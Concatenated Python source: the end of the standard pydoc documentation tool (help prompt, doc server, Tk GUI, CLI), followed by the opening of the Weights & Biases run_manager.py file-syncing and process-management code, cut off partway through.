'POWER': ('power', 'EXPRESSIONS'), 'UNARY': ('unary', 'EXPRESSIONS'), 'BINARY': ('binary', 'EXPRESSIONS'), 'SHIFTING': ('shifting', 'EXPRESSIONS'), 'BITWISE': ('bitwise', 'EXPRESSIONS'), 'COMPARISON': ('comparisons', 'EXPRESSIONS BASICMETHODS'), 'BOOLEAN': ('booleans', 'EXPRESSIONS TRUTHVALUE'), 'ASSERTION': 'assert', 'ASSIGNMENT': ('assignment', 'AUGMENTEDASSIGNMENT'), 'AUGMENTEDASSIGNMENT': ('augassign', 'NUMBERMETHODS'), 'DELETION': 'del', 'RETURNING': 'return', 'IMPORTING': 'import', 'CONDITIONAL': 'if', 'LOOPING': ('compound', 'for while break continue'), 'TRUTHVALUE': ('truth', 'if while and or not BASICMETHODS'), 'DEBUGGING': ('debugger', 'pdb'), 'CONTEXTMANAGERS': ('context-managers', 'with'), } def __init__(self, input=None, output=None): self._input = input self._output = output input = property(lambda self: self._input or sys.stdin) output = property(lambda self: self._output or sys.stdout) def __repr__(self): if inspect.stack()[1][3] == '?': self() return '' return '<pydoc.Helper instance>' def __call__(self, request=None): if request is not None: self.help(request) else: self.intro() self.interact() self.output.write(''' You are now leaving help and returning to the Python interpreter. If you want to ask for help on a particular object directly from the interpreter, you can type "help(object)". Executing "help('string')" has the same effect as typing a particular string at the help> prompt. ''') def interact(self): self.output.write('\n') while True: try: request = self.getline('help> ') if not request: break except (KeyboardInterrupt, EOFError): break request = replace(request, '"', '', "'", '').strip() if request.lower() in ('q', 'quit'): break self.help(request) def getline(self, prompt): """Read one line, using input() when appropriate.""" if self.input is sys.stdin: return input(prompt) else: self.output.write(prompt) self.output.flush() return self.input.readline() def help(self, request): if type(request) is type(''): request = request.strip() if request == 'help': self.intro() elif request == 'keywords': self.listkeywords() elif request == 'symbols': self.listsymbols() elif request == 'topics': self.listtopics() elif request == 'modules': self.listmodules() elif request[:8] == 'modules ': self.listmodules(request.split()[1]) elif request in self.symbols: self.showsymbol(request) elif request in self.keywords: self.showtopic(request) elif request in self.topics: self.showtopic(request) elif request: doc(request, 'Help on %s:') elif isinstance(request, Helper): self() else: doc(request, 'Help on %s:') self.output.write('\n') def intro(self): self.output.write(''' Welcome to Python %s! This is the online help utility. If this is your first time using Python, you should definitely check out the tutorial on the Internet at http://docs.python.org/tutorial/. Enter the name of any module, keyword, or topic to get help on writing Python programs and using Python modules. To quit this help utility and return to the interpreter, just type "quit". To get a list of available modules, keywords, or topics, type "modules", "keywords", or "topics". Each module also comes with a one-line summary of what it does; to list the modules whose summaries contain a given word such as "spam", type "modules spam". ''' % sys.version[:3]) def list(self, items, columns=4, width=80): items = list(sorted(items)) colw = width // columns rows = (len(items) + columns - 1) // columns for row in range(rows): for col in range(columns): i = col * rows + row if i < len(items): self.output.write(items[i]) if col < columns - 1: self.output.write(' ' + ' ' * (colw - 1 - len(items[i]))) self.output.write('\n') def listkeywords(self): self.output.write(''' Here is a list of the Python keywords. Enter any keyword to get more help. ''') self.list(self.keywords.keys()) def listsymbols(self): self.output.write(''' Here is a list of the punctuation symbols which Python assigns special meaning to. Enter any symbol to get more help. ''') self.list(self.symbols.keys()) def listtopics(self): self.output.write(''' Here is a list of available topics. Enter any topic name to get more help. ''') self.list(self.topics.keys()) def showtopic(self, topic, more_xrefs=''): try: import pydoc_data.topics except ImportError: self.output.write(''' Sorry, topic and keyword documentation is not available because the module "pydoc_data.topics" could not be found. ''') return target = self.topics.get(topic, self.keywords.get(topic)) if not target: self.output.write('no documentation found for %s\n' % repr(topic)) return if type(target) is type(''): return self.showtopic(target, more_xrefs) label, xrefs = target try: doc = pydoc_data.topics.topics[label] except KeyError: self.output.write('no documentation found for %s\n' % repr(topic)) return pager(doc.strip() + '\n') if more_xrefs: xrefs = (xrefs or '') + ' ' + more_xrefs if xrefs: import io, formatter buffer = io.StringIO() formatter.DumbWriter(buffer).send_flowing_data( 'Related help topics: ' + ', '.join(xrefs.split()) + '\n') self.output.write('\n%s\n' % buffer.getvalue()) def showsymbol(self, symbol): target = self.symbols[symbol] topic, _, xrefs = target.partition(' ') self.showtopic(topic, xrefs) def listmodules(self, key=''): if key: self.output.write(''' Here is a list of matching modules. Enter any module name to get more help. ''') apropos(key) else: self.output.write(''' Please wait a moment while I gather a list of all available modules... ''') modules = {} def callback(path, modname, desc, modules=modules): if modname and modname[-9:] == '.__init__': modname = modname[:-9] + ' (package)' if modname.find('.') < 0: modules[modname] = 1 def onerror(modname): callback(None, modname, None) ModuleScanner().run(callback, onerror=onerror) self.list(modules.keys()) self.output.write(''' Enter any module name to get more help. Or, type "modules spam" to search for modules whose descriptions contain the word "spam". ''') help = Helper() class Scanner: """A generic tree iterator.""" def __init__(self, roots, children, descendp): self.roots = roots[:] self.state = [] self.children = children self.descendp = descendp def next(self): if not self.state: if not self.roots: return None root = self.roots.pop(0) self.state = [(root, self.children(root))] node, children = self.state[-1] if not children: self.state.pop() return self.next() child = children.pop(0) if self.descendp(child): self.state.append((child, self.children(child))) return child class ModuleScanner: """An interruptible scanner that searches module synopses.""" def run(self, callback, key=None, completer=None, onerror=None): if key: key = key.lower() self.quit = False seen = {} for modname in sys.builtin_module_names: if modname != '__main__': seen[modname] = 1 if key is None: callback(None, modname, '') else: name = __import__(modname).__doc__ or '' desc = name.split('\n')[0] name = modname + ' - ' + desc if name.lower().find(key) >= 0: callback(None, modname, desc) for importer, modname, ispkg in pkgutil.walk_packages(onerror=onerror): if self.quit: break if key is None: callback(None, modname, '') else: try: loader = importer.find_module(modname) except SyntaxError: # raised by tests for bad coding cookies or BOM continue if hasattr(loader, 'get_source'): try: source = loader.get_source(modname) except UnicodeDecodeError: if onerror: onerror(modname) continue import io desc = source_synopsis(io.StringIO(source)) or '' if hasattr(loader, 'get_filename'): path = loader.get_filename(modname) else: path = None else: try: module = loader.load_module(modname) except ImportError: if onerror: onerror(modname) continue desc = (module.__doc__ or '').splitlines()[0] path = getattr(module,'__file__',None) name = modname + ' - ' + desc if name.lower().find(key) >= 0: callback(path, modname, desc) if completer: completer() def apropos(key): """Print all the one-line module summaries that contain a substring.""" def callback(path, modname, desc): if modname[-9:] == '.__init__': modname = modname[:-9] + ' (package)' print(modname, desc and '- ' + desc) def onerror(modname): pass try: import warnings except ImportError: pass else: warnings.filterwarnings('ignore') # ignore problems during import ModuleScanner().run(callback, key, onerror=onerror) # --------------------------------------------------- web browser interface def serve(port, callback=None, completer=None): import http.server, email.message, select class DocHandler(http.server.BaseHTTPRequestHandler): def send_document(self, title, contents): try: self.send_response(200) self.send_header('Content-Type', 'text/html; charset=UTF-8') self.end_headers() self.wfile.write(html.page(title, contents).encode('utf-8')) except IOError: pass def do_GET(self): path = self.path if path[-5:] == '.html': path = path[:-5] if path[:1] == '/': path = path[1:] if path and path != '.': try: obj = locate(path, forceload=1) except ErrorDuringImport as value: self.send_document(path, html.escape(str(value))) return if obj: self.send_document(describe(obj), html.document(obj, path)) else: self.send_document(path, 'no Python documentation found for %s' % repr(path)) else: heading = html.heading( '<big><big><strong>Python: Index of Modules</strong></big></big>', '#ffffff', '#7799ee') def bltinlink(name): return '<a href="%s.html">%s</a>' % (name, name) names = [x for x in sys.builtin_module_names if x != '__main__'] contents = html.multicolumn(names, bltinlink) indices = ['<p>' + html.bigsection( 'Built-in Modules', '#ffffff', '#ee77aa', contents)] seen = {} for dir in sys.path: indices.append(html.index(dir, seen)) contents = heading + ' '.join(indices) + '''<p align=right> <font color="#909090" face="helvetica, arial"><strong> pydoc</strong> by Ka-Ping Yee &lt;ping@lfw.org&gt;</font>''' self.send_document('Index of Modules', contents) def log_message(self, *args): pass class DocServer(http.server.HTTPServer): def __init__(self, port, callback): host = (sys.platform == 'mac') and '127.0.0.1' or 'localhost' self.address = ('', port) self.url = 'http://%s:%d/' % (host, port) self.callback = callback self.base.__init__(self, self.address, self.handler) def serve_until_quit(self): import select self.quit = False while not self.quit: rd, wr, ex = select.select([self.socket.fileno()], [], [], 1) if rd: self.handle_request() def server_activate(self): self.base.server_activate(self) if self.callback: self.callback(self) DocServer.base = http.server.HTTPServer DocServer.handler = DocHandler DocHandler.MessageClass = email.message.Message try: try: DocServer(port, callback).serve_until_quit() except (KeyboardInterrupt, select.error): pass finally: if completer: completer() # ----------------------------------------------------- graphical interface def gui(): """Graphical interface (starts web server and pops up a control window).""" class GUI: def __init__(self, window, port=7464): self.window = window self.server = None self.scanner = None import tkinter self.server_frm = tkinter.Frame(window) self.title_lbl = tkinter.Label(self.server_frm, text='Starting server...\n ') self.open_btn = tkinter.Button(self.server_frm, text='open browser', command=self.open, state='disabled') self.quit_btn = tkinter.Button(self.server_frm, text='quit serving', command=self.quit, state='disabled') self.search_frm = tkinter.Frame(window) self.search_lbl = tkinter.Label(self.search_frm, text='Search for') self.search_ent = tkinter.Entry(self.search_frm) self.search_ent.bind('<Return>', self.search) self.stop_btn = tkinter.Button(self.search_frm, text='stop', pady=0, command=self.stop, state='disabled') if sys.platform == 'win32': # Trying to hide and show this button crashes under Windows. self.stop_btn.pack(side='right') self.window.title('pydoc') self.window.protocol('WM_DELETE_WINDOW', self.quit) self.title_lbl.pack(side='top', fill='x') self.open_btn.pack(side='left', fill='x', expand=1) self.quit_btn.pack(side='right', fill='x', expand=1) self.server_frm.pack(side='top', fill='x') self.search_lbl.pack(side='left') self.search_ent.pack(side='right', fill='x', expand=1) self.search_frm.pack(side='top', fill='x') self.search_ent.focus_set() font = ('helvetica', sys.platform == 'win32' and 8 or 10) self.result_lst = tkinter.Listbox(window, font=font, height=6) self.result_lst.bind('<Button-1>', self.select) self.result_lst.bind('<Double-Button-1>', self.goto) self.result_scr = tkinter.Scrollbar(window, orient='vertical', command=self.result_lst.yview) self.result_lst.config(yscrollcommand=self.result_scr.set) self.result_frm = tkinter.Frame(window) self.goto_btn = tkinter.Button(self.result_frm, text='go to selected', command=self.goto) self.hide_btn = tkinter.Button(self.result_frm, text='hide results', command=self.hide) self.goto_btn.pack(side='left', fill='x', expand=1) self.hide_btn.pack(side='right', fill='x', expand=1) self.window.update() self.minwidth = self.window.winfo_width() self.minheight = self.window.winfo_height() self.bigminheight = (self.server_frm.winfo_reqheight() + self.search_frm.winfo_reqheight() + self.result_lst.winfo_reqheight() + self.result_frm.winfo_reqheight()) self.bigwidth, self.bigheight = self.minwidth, self.bigminheight self.expanded = 0 self.window.wm_geometry('%dx%d' % (self.minwidth, self.minheight)) self.window.wm_minsize(self.minwidth, self.minheight) self.window.tk.willdispatch() import threading threading.Thread( target=serve, args=(port, self.ready, self.quit)).start() def ready(self, server): self.server = server self.title_lbl.config( text='Python documentation server at\n' + server.url) self.open_btn.config(state='normal') self.quit_btn.config(state='normal') def open(self, event=None, url=None): url = url or self.server.url try: import webbrowser webbrowser.open(url) except ImportError: # pre-webbrowser.py compatibility if sys.platform == 'win32': os.system('start "%s"' % url) elif sys.platform == 'mac': try: import ic except ImportError: pass else: ic.launchurl(url) else: rc = os.system('netscape -remote "openURL(%s)" &' % url) if rc: os.system('netscape "%s" &' % url) def quit(self, event=None): if self.server: self.server.quit = 1 self.window.quit() def search(self, event=None): key = self.search_ent.get() self.stop_btn.pack(side='right') self.stop_btn.config(state='normal') self.search_lbl.config(text='Searching for "%s"...' % key) self.search_ent.forget() self.search_lbl.pack(side='left') self.result_lst.delete(0, 'end') self.goto_btn.config(state='disabled') self.expand() import threading if self.scanner: self.scanner.quit = 1 self.scanner = ModuleScanner() threading.Thread(target=self.scanner.run, args=(self.update, key, self.done)).start() def update(self, path, modname, desc): if modname[-9:] == '.__init__': modname = modname[:-9] + ' (package)' self.result_lst.insert('end', modname + ' - ' + (desc or '(no description)')) def stop(self, event=None): if self.scanner: self.scanner.quit = 1 self.scanner = None def done(self): self.scanner = None self.search_lbl.config(text='Search for') self.search_lbl.pack(side='left') self.search_ent.pack(side='right', fill='x', expand=1) if sys.platform != 'win32': self.stop_btn.forget() self.stop_btn.config(state='disabled') def select(self, event=None): self.goto_btn.config(state='normal') def goto(self, event=None): selection = self.result_lst.curselection() if selection: modname = self.result_lst.get(selection[0]).split()[0] self.open(url=self.server.url + modname + '.html') def collapse(self): if not self.expanded: return self.result_frm.forget() self.result_scr.forget() self.result_lst.forget() self.bigwidth = self.window.winfo_width() self.bigheight = self.window.winfo_height() self.window.wm_geometry('%dx%d' % (self.minwidth, self.minheight)) self.window.wm_minsize(self.minwidth, self.minheight) self.expanded = 0 def expand(self): if self.expanded: return self.result_frm.pack(side='bottom', fill='x') self.result_scr.pack(side='right', fill='y') self.result_lst.pack(side='top', fill='both', expand=1) self.window.wm_geometry('%dx%d' % (self.bigwidth, self.bigheight)) self.window.wm_minsize(self.minwidth, self.bigminheight) self.expanded = 1 def hide(self, event=None): self.stop() self.collapse() import tkinter try: root = tkinter.Tk() # Tk will crash if pythonw.exe has an XP .manifest # file and the root has is not destroyed explicitly. # If the problem is ever fixed in Tk, the explicit # destroy can go. try: gui = GUI(root) root.mainloop() finally: root.destroy() except KeyboardInterrupt: pass # -------------------------------------------------- command-line interface def ispath(x): return isinstance(x, str) and x.find(os.sep) >= 0 def cli(): """Command-line interface (looks at sys.argv to decide what to do).""" import getopt class BadUsage(Exception): pass # Scripts don't get the current directory in their path by default # unless they are run with the '-m' switch if '' not in sys.path: scriptdir = os.path.dirname(sys.argv[0]) if scriptdir in sys.path: sys.path.remove(scriptdir) sys.path.insert(0, '.') try: opts, args = getopt.getopt(sys.argv[1:], 'gk:p:w') writing = 0 for opt, val in opts: if opt == '-g': gui() return if opt == '-k': apropos(val) return if opt == '-p': try: port = int(val) except ValueError: raise BadUsage def ready(server): print('pydoc server ready at %s' % server.url) def stopped(): print('pydoc server stopped') serve(port, ready, stopped) return if opt == '-w': writing = 1 if not args: raise BadUsage for arg in args: if ispath(arg) and not os.path.exists(arg): print('file %r does not exist' % arg) break try: if ispath(arg) and os.path.isfile(arg): arg = importfile(arg) if writing: if ispath(arg) and os.path.isdir(arg): writedocs(arg) else: writedoc(arg) else: help.help(arg) except ErrorDuringImport as value: print(value) except (getopt.error, BadUsage): cmd = os.path.basename(sys.argv[0]) print("""pydoc - the Python documentation tool %s <name> ... Show text documentation on something. <name> may be the name of a Python keyword, topic, function, module, or package, or a dotted reference to a class or function within a module or module in a package. If <name> contains a '%s', it is used as the path to a Python source file to document. If name is 'keywords', 'topics', or 'modules', a listing of these things is displayed. %s -k <keyword> Search for a keyword in the synopsis lines of all available modules. %s -p <port> Start an HTTP server on the given port on the local machine. %s -g Pop up a graphical interface for finding and serving documentation. %s -w <name> ... Write out the HTML documentation for a module to a file in the current directory. If <name> contains a '%s', it is treated as a filename; if it names a directory, documentation is written for all the contents. """ % (cmd, os.sep, cmd, cmd, cmd, cmd, os.sep)) if __name__ == '__main__': cli()
run_manager.py
# -*- encoding: utf-8 -*- import errno import json import logging import os import re import signal import socket import stat import subprocess import sys import time from tempfile import NamedTemporaryFile import threading import yaml import numbers import inspect import glob import platform import fnmatch import click from pkg_resources import parse_version import six from six.moves import queue import requests from watchdog.observers.polling import PollingObserver from watchdog.events import PatternMatchingEventHandler import webbrowser import wandb from wandb.apis.file_stream import BinaryFilePolicy, CRDedupeFilePolicy, DefaultFilePolicy, OverwriteFilePolicy from wandb import __version__ from wandb import env as wandb_env from wandb import Error from wandb import io_wrap from wandb import jsonlfile from wandb import file_pusher from wandb import meta from wandb.core import START_TIME from wandb import sparkline from wandb import stats from wandb import streaming_log from wandb import util from wandb import wandb_config as config from wandb import wandb_run from wandb import wandb_socket from wandb.compat import windows from wandb.apis import InternalApi from wandb.apis import CommError logger = logging.getLogger(__name__) class LaunchError(Error): """Raised when there's an error starting up.""" class FileTailer(object): def __init__(self, path, on_read_fn, binary=False, seek_end=False): self._path = path mode = 'r' if binary: mode = 'rb' self._file = open(path, mode) if seek_end: self._file.seek(0, 2) # seek to 0 bytes from end (2 means end) self._on_read_fn = on_read_fn self.running = True self._thread = threading.Thread(target=self._thread_body) self._thread.start() def _thread_body(self): while self.running: where = self._file.tell() data = self._file.read(1024) if not data: time.sleep(1) # required for to get python2 working (Issue #50) self._file.seek(where) else: self._on_read_fn(data) data = self._file.read() if data: self._on_read_fn(data) def stop(self): self.running = False self._thread.join() class FileEventHandler(object): def __init__(self, file_path, save_name, api, *args, **kwargs): self.file_path = file_path # Convert windows paths to unix paths if platform.system() == "Windows": save_name = save_name.replace("\\", "/") self.save_name = save_name self._api = api def on_created(self): pass def on_modified(self): pass def on_renamed(self, new_path, new_name): self.file_path = new_path self.save_name = new_name def finish(self): pass class FileEventHandlerOverwrite(FileEventHandler): def __init__(self, file_path, save_name, api, file_pusher, *args, **kwargs): super(FileEventHandlerOverwrite, self).__init__( file_path, save_name, api, *args, **kwargs) self._file_pusher = file_pusher def on_created(self): self.on_modified() def on_modified(self): self._file_pusher.file_changed(self.save_name, self.file_path) class FileEventHandlerOverwriteOnce(FileEventHandler): """This file handler is meant for files like metadata which may update during the run but should be uploaded upon creation""" def __init__(self, file_path, save_name, api, file_pusher, *args, **kwargs): super(FileEventHandlerOverwriteOnce, self).__init__( file_path, save_name, api, *args, **kwargs) self._file_pusher = file_pusher def on_created(self): self._file_pusher.file_changed(self.save_name, self.file_path) def finish(self): self._file_pusher.file_changed(self.save_name, self.file_path) class FileEventHandlerThrottledOverwrite(FileEventHandler): """This file handler uploads the file atmost every 15 seconds and only if it's size has increased by 20%""" # Don't upload RATE_LIMIT_SECONDS = 15 # Wait to upload until size has increased 20% from last upload RATE_LIMIT_SIZE_INCREASE = 1.2 def __init__(self, file_path, save_name, api, file_pusher, *args, **kwargs): super(FileEventHandlerThrottledOverwrite, self).__init__( file_path, save_name, api, *args, **kwargs) self._file_pusher = file_pusher self._last_uploaded_time = None self._last_uploaded_size = 0 def on_created(self): self.on_modified() @property def current_size(self): return os.path.getsize(self.file_path) def on_modified(self): # Don't upload anything if it's zero size. if self.current_size == 0: return 0 if self._last_uploaded_time: # Check rate limit by time elapsed time_elapsed = time.time() - self._last_uploaded_time if time_elapsed < self.RATE_LIMIT_SECONDS: return time_elapsed # Check rate limit by size increase size_increase = self.current_size / float(self._last_uploaded_size) if size_increase < self.RATE_LIMIT_SIZE_INCREASE: return time_elapsed self.save_file() return 0 def finish(self): self._file_pusher.file_changed(self.save_name, self.file_path) def save_file(self): self._last_uploaded_time = time.time() self._last_uploaded_size = self.current_size self._file_pusher.file_changed(self.save_name, self.file_path) class FileEventHandlerThrottledOverwriteMinWait(FileEventHandlerThrottledOverwrite): """This event handler will upload files every N seconds as it changes throttling as the size increases""" TEN_MB = 10000000 HUNDRED_MB = 100000000 ONE_GB = 1000000000 def min_wait_for_size(self, size): if self.current_size < self.TEN_MB: return 60 elif self.current_size < self.HUNDRED_MB: return 5 * 60 elif self.current_size < self.ONE_GB: return 10 * 60 else: return 20 * 60 def on_modified(self): time_elapsed = super(FileEventHandlerThrottledOverwriteMinWait, self).on_modified() # Check max elapsed time if time_elapsed > self.min_wait_for_size(self.current_size): self.save_file() class FileEventHandlerOverwriteDeferred(FileEventHandler): """This file handler only updates at the end of the run""" def __init__(self, file_path, save_name, api, file_pusher, *args, **kwargs): super(FileEventHandlerOverwriteDeferred, self).__init__( file_path, save_name, api, *args, **kwargs) self._file_pusher = file_pusher def finish(self): # We use copy=False to avoid possibly expensive copies, and because # user files shouldn't still be changing at the end of the run. self._file_pusher.file_changed(self.save_name, self.file_path, copy=False) class FileEventHandlerConfig(FileEventHandler): """Set the config instead of uploading the file""" RATE_LIMIT_SECONDS = 30 def __init__(self, file_path, save_name, api, file_pusher, run, *args, **kwargs): self._api = api super(FileEventHandlerConfig, self).__init__( file_path, save_name, api, *args, **kwargs) self._last_sent = time.time() - self.RATE_LIMIT_SECONDS self._file_pusher = file_pusher self._run = run self._thread = None def on_created(self): self._eventually_update() def on_modified(self): self._eventually_update() def _eventually_update(self): if self._thread: # assume the existing thread will catch this update return if time.time() - self._last_sent >= self.RATE_LIMIT_SECONDS: self._update() else: self._thread = threading.Timer( self.RATE_LIMIT_SECONDS, self._thread_update) self._thread.start() def _thread_update(self): try: self._update() finally: self._thread = None def _update(self): try: config_dict = util.load_yaml(open(self.file_path)) except yaml.parser.ParserError: wandb.termlog( "Unable to parse config file; probably being modified by user process?") return # TODO(adrian): ensure the file content will exactly match Bucket.config # ie. push the file content as a string self._api.upsert_run(id=self._run.storage_id, config=config_dict) self._file_pusher.file_changed(self.save_name, self.file_path) self._last_sent = time.time() def finish(self): if self._thread: self._thread.join() self._thread = None self._update() class FileEventHandlerSummary(FileEventHandler): """Read the file and add to the file push api""" def __init__(self, file_path, save_name, api, file_pusher, run, *args, **kwargs): super(FileEventHandlerSummary, self).__init__( file_path, save_name, api, *args, **kwargs) self._api = api self._file_pusher = file_pusher def on_created(self): self.on_modified() def on_modified(self): self._api.get_file_stream_api().push(self.save_name, open(self.file_path).read()) def finish(self): self._api.get_file_stream_api().push(self.save_name, open(self.file_path).read()) self._file_pusher.file_changed(self.save_name, self.file_path) class FileEventHandlerTextStream(FileEventHandler): def __init__(self, *args, **kwargs): self._seek_end = kwargs.pop('seek_end', None) super(FileEventHandlerTextStream, self).__init__(*args, **kwargs) self._tailer = None if self._seek_end: # We need to call _setup up in the case of resumed runs # because we will start logging immediatly, so on_modified # would seek the FileTailer to after the most recent log self._setup() def on_created(self): if self._tailer: logger.error( 'Streaming file created twice in same run: %s', self.file_path) return self._setup() def on_modified(self): if self._tailer: return self._setup() def _setup(self): fsapi = self._api.get_file_stream_api() pusher = streaming_log.TextStreamPusher(fsapi, self.save_name) def on_read(data): pusher.write_string(data) self._tailer = FileTailer( self.file_path, on_read, seek_end=self._seek_end) def finish(self): if self._tailer: self._tailer.stop() self._tailer = None class FileEventHandlerBinaryStream(FileEventHandler): def __init__(self, *args, **kwargs): super(FileEventHandlerBinaryStream, self).__init__(*args, **kwargs) self._tailer = None def on_created(self): if self._tailer: logger.error( 'Streaming file created twice in same run: %s', self.file_path) return self._setup() def on_modified(self): if self._tailer: return self._setup() def _setup(self): fsapi = self._api.get_file_stream_api() def on_read(data): fsapi.push(self.save_name, data) self._tailer = FileTailer(self.file_path, on_read, binary=True) class WriteSerializingFile(object): """Wrapper for a file object that serializes writes. """ def __init__(self, f): self.lock = threading.Lock() self.f = f def write(self, *args, **kargs): self.lock.acquire() try: self.f.write(*args, **kargs) self.f.flush() finally: self.lock.release() class Process(object): """Represents a running process with an interface that mimics Popen's. Only works on Unix-y systems. TODO(adrian): probably rewrite using psutil.Process """ def __init__(self, pid): self.returncode = None self.pid = pid def poll(self): if self.returncode is None: try: if platform.system() == "Windows": if windows.pid_running(self.pid) == False: raise OSError(0, "Process isn't running") else: os.kill(self.pid, 0) except OSError as err: if err.errno == errno.ESRCH: # ESRCH == No such process # we have no way of getting the real return code, so just set it to 0 self.returncode = 0 elif err.errno == errno.EPERM: # EPERM clearly means there's a process to deny access to pass else: # According to "man 2 kill" possible error values are # (EINVAL, EPERM, ESRCH) raise return self.returncode def wait(self): while self.poll() is None: time.sleep(1) def interrupt(self): os.kill(self.pid, signal.SIGINT) def terminate(self): os.kill(self.pid, signal.SIGTERM) def kill(self): os.kill(self.pid, signal.SIGKILL) def format_run_name(run): "Simple helper to not show display name if its the same as id" return " "+run.name+":" if run.name and run.name != run.id else ":" class RunStatusChecker(object): """Polls the backend periodically to check on this run's status. For now, we just use this to figure out if the user has requested a stop. TODO(adrnswanberg): Use this as more of a general heartbeat check. """ def __init__(self, run, api, stop_requested_handler, polling_interval=15): self._run = run self._api = api self._polling_interval = polling_interval self._stop_requested_handler = stop_requested_handler self._shutdown_event = threading.Event() self._thread = threading.Thread(target=self.check_status) self._thread.start() def check_status(self): shutdown_requested = False while not shutdown_requested: try: should_exit = self._api.check_stop_requested( project_name=self._run.project_name(), entity_name=self._run.entity, run_id=self._run.id) except CommError as e: logger.exception("Failed to check stop requested status: %s" % e.exc) should_exit = False except: logger.exception("An unknown error occurred while checking stop requested status. Continuing anyway..") should_exit = False if should_exit: self._stop_requested_handler() return else: shutdown_requested = self._shutdown_event.wait(self._polling_interval) def shutdown(self): self._shutdown_event.set() self._thread.join() class RunManager(object): """Manages a run's process, wraps its I/O, and synchronizes its files. """ CRASH_NOSYNC_TIME = 30 def __init__(self, run, project=None, tags=[], cloud=True, output=True, port=None): self._run = run self._tags = tags self._cloud = cloud self._output = output self._port = port self._api = run.api self._project = self._resolve_project_name(project) self._config = run.config self._file_count = 0 self._init_file_observer() self._socket = wandb_socket.Client(self._port) # Calling .start() on _meta and _system_stats will spin a thread that reports system stats every 30 seconds self._system_stats = stats.SystemStats(run, self._api) self._meta = meta.Meta(self._api, self._run.dir) self._meta.data["jobType"] = self._run.job_type self._meta.data["mode"] = self._run.mode if self._run.name: self._meta.data["name"] = self._run.name if self._run.notes: self._meta.data["notes"] = self._run.notes if self._project: self._meta.data["project"] = self._project if self._run.program: self._meta.data["program"] = self._run.program self._meta.data["args"] = self._run.args # Write our initial metadata after overriding the defaults self._meta.write() self._tensorboard_watchers = [] self._tensorboard_consumer = None self._tensorboard_lock = threading.Lock() self._watcher_queue = queue.PriorityQueue() # We'll conditionally create one of these when running in headless mode. self._run_status_checker = None # This allows users to specify files they want uploaded during the run self._user_file_policies = { "end": [], "live": [] } self._file_policy_lock = threading.Lock() logger.debug("Initialized sync for %s/%s", self._project, self._run.id) def _resolve_project_name(self, project_name=None): if project_name is not None: return project_name project_name = self._api.settings('project') if project_name is not None: return project_name project_name = self._run.auto_project_name(self._api) if project_name is not None: return project_name """ FILE SYNCING / UPLOADING STUFF """ def _init_file_observer(self): self._file_pusher = file_pusher.FilePusher(self._api) # FileEventHandlers (any of the classes at the top) indexed by "save_name," which is the file's path relative to the run directory self._file_event_handlers = {} # We use the polling observer because inotify was flaky and could require changes to sysctl.conf self._file_observer = PollingObserver() self._file_observer.schedule(self._per_file_event_handler(), self._run.dir, recursive=True) # We lock this when the back end is down so Watchdog will keep track of all # the file events that happen. Then, when the back end comes back up, we unlock # it so all the outstanding events will get handled properly. Watchdog's queue # only keeps at most one event per file. self._file_observer_lock = threading.Lock() # It starts acquired. We release it when we want to allow the events to happen. # (ie. after the Run is successfully created) self._block_file_observer() # Start watching for file changes right away so we can be sure we don't miss anything. # We don't have to worry about handlers actually being called because of the lock. self._file_observer.start() @property def emitter(self): try: return next(iter(self._file_observer.emitters)) except StopIteration: return None @property def run(self): return self._run def _per_file_event_handler(self): """Create a Watchdog file event handler that does different things for every file """ file_event_handler = PatternMatchingEventHandler() file_event_handler.on_created = self._on_file_created file_event_handler.on_modified = self._on_file_modified file_event_handler.on_moved = self._on_file_moved file_event_handler._patterns = [ os.path.join(self._run.dir, os.path.normpath('*'))] # Ignore hidden files/folders file_event_handler._ignore_patterns = [ '*.tmp', os.path.join(self._run.dir, ".*"), os.path.join(self._run.dir, "*/.*"), ] for glob in self._api.settings("ignore_globs"): file_event_handler._ignore_patterns.append( os.path.join(self._run.dir, glob)) return file_event_handler def _block_file_observer(self): self._file_observer_lock.acquire() def _unblock_file_observer(self): self._file_observer_lock.release() def _ensure_file_observer_is_unblocked(self): self._block_file_observer() self._unblock_file_observer() def _end_file_syncing(self, exitcode): try: # avoid hanging if we crashed before the observer was started if self._file_observer.is_alive(): # rather unfortunatly we need to manually do a final scan of the dir # with `queue_events`, then iterate through all events before stopping # the observer to catch all files written. First we need to prevent the # existing thread from consuming our final events, then we process each one. self._file_observer._timeout = 0 self._file_observer._stopped_event.set() self._file_observer.join() self.emitter.queue_events(0) while True: try: self._file_observer.dispatch_events(self._file_observer.event_queue, 0) except queue.Empty: break # Calling stop unschedules any inflight events so we manually handled them above self._file_observer.stop() # TODO: py2 TypeError: PyCObject_AsVoidPtr called with null pointer except TypeError: pass # TODO: py3 SystemError: <built-in function stop> returned a result with an error set except SystemError: pass # Ensure we've at least noticed every file in the run directory. Sometimes # we miss things because asynchronously watching filesystems isn't reliable. ignore_globs = self._api.settings("ignore_globs") for dirpath, _, filenames in os.walk(self._run.dir): for fname in filenames: file_path = os.path.join(dirpath, fname) save_name = os.path.relpath(file_path, self._run.dir) if any([fnmatch.fnmatch(save_name, glob) for glob in ignore_globs]): continue if save_name not in self._file_event_handlers: self._get_file_event_handler(file_path, save_name).on_created() """Stops file syncing/streaming but doesn't actually wait for everything to finish. We print progress info later. """ # TODO: there was a case where _file_event_handlers was getting modified in the loop. for handler in list(self._file_event_handlers.values()): handler.finish() self._file_pusher.finish() self._api.get_file_stream_api().finish(exitcode) # In Jupyter notebooks, wandb.init can be called multiple times in the same # process, creating new runs each time. This ensures we get a new file stream # thread self._api._file_stream_api = None # TODO: limit / throttle the number of adds / pushes def _on_file_created(self, event): logger.info('file/dir created: %s', event.src_path) if os.path.isdir(event.src_path): return None self._file_count += 1 if self._file_count % 100 == 0: self.emitter._timeout = int(self._file_count / 100) + 1 save_name = os.path.relpath(event.src_path, self._run.dir) self._ensure_file_observer_is_unblocked() self._get_file_event_handler(event.src_path, save_name).on_created() def _on_file_modified(self, event): logger.info('file/dir modified: %s', event.src_path) if os.path.isdir(event.src_path): return None save_name = os.path.relpath(event.src_path, self._run.dir) self._ensure_file_observer_is_unblocked() self._get_file_event_handler(event.src_path, save_name).on_modified() def _on_file_moved(self, event): logger.info('file/dir moved: %s -> %s', event.src_path, event.dest_path) if os.path.isdir(event.dest_path): return None old_save_name = os.path.relpath(event.src_path, self._run.dir) new_save_name = os.path.relpath(event.dest_path, self._run.dir) self._ensure_file_observer_is_unblocked() # We have to move the existing file handler to the new name, and update the stats handler = self._get_file_event_handler(event.src_path, old_save_name) self._file_event_handlers[new_save_name] = handler del self._file_event_handlers[old_save_name] self._file_pusher.rename_file(old_save_name, new_save_name, event.dest_path) 